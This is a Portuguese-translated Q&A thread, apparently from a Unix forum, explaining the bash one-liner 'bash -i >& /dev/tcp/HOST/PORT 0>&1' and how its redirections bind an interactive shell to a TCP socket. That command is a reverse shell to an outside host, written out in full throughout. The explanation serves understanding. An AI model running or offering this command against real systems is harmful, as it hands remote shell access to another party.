Significado de bash -i> & / dev / tcp / HOST / PORT 0> & 1?

15

eu tentei

bash -i >& /dev/tcp/HOST/PORT 0>&1

mas não parece funcionar atrás de firewalls. O que esse código realmente faz, quais portas são encaminhadas e poderia funcionar atrás de firewalls?

Helos
fonte

Respostas:

17

Esse trecho executa uma nova instância interativa do bash ( bash -i), em uma conexão TCP com a porta especificada no host especificado, criado para a duração do processo do bash. A saída padrão e o erro padrão são enviados através desta conexão ( >& /dev/tcp/HOST/PORT) e a entrada padrão é lida através desta conexão ( 0>&1- isso deve ser, 0<&1mas 0>&1também funciona).

Não há encaminhamento de porta em andamento. Obviamente, um servidor TCP de algum tipo deve estar ouvindo e aceitando conexões nesse HOST: PORT, e o firewall deve permitir a conexão.

Gilles 'SO- parar de ser mau'
fonte
Que conexão é '/ dev / tcp / HOST / PORT' Onde está definido o host e onde está definida a porta?
Helos
2
@Helos Você literalmente viu /dev/tcp/HOST/PORT? Supus que você substituísse um nome por HOSTe um número por PORT. Caso contrário, você receberá uma mensagem de erro do bash. Como você não mencionou nenhuma mensagem de erro, presumo que você não tenha visto uma.
Gilles 'SO- stop be evil'
1
@ Gilles, não consigo digerir a 0<&1parte. Eu li como 'pegue o bash stdout ( &1) e coloque-o no bash stdin ( 0)', o que faz sentido. Você pode explicar como esta parte funciona?
golem
5
@ golem Este é um redirecionamento. Nenhum tubo está envolvido. 0<&1significa conectar o que está aberto no descritor de arquivo 1 ao descritor de arquivo 0. Como o redirecionamento anterior >& /dev/tcp/HOST/PORTconectou o fd 1 (o padrão para um redirecionamento de saída) a /dev/tcp/HOST/PORT, ou seja, abriu um soquete TCP, isso duplica a conexão TCP ao descritor de arquivo 0 (ou seja, o Agora, o mesmo soquete também está aberto no fd 0, diferente de 0 </ dev / tcp / HOST / PORT, que abriria um soquete diferente no mesmo servidor).
Gilles 'SO- stop be evil' em
Conectar era uma palavra-chave para meu entendimento; chamar a tubulação do processo foi realmente o que me confundiu.
golem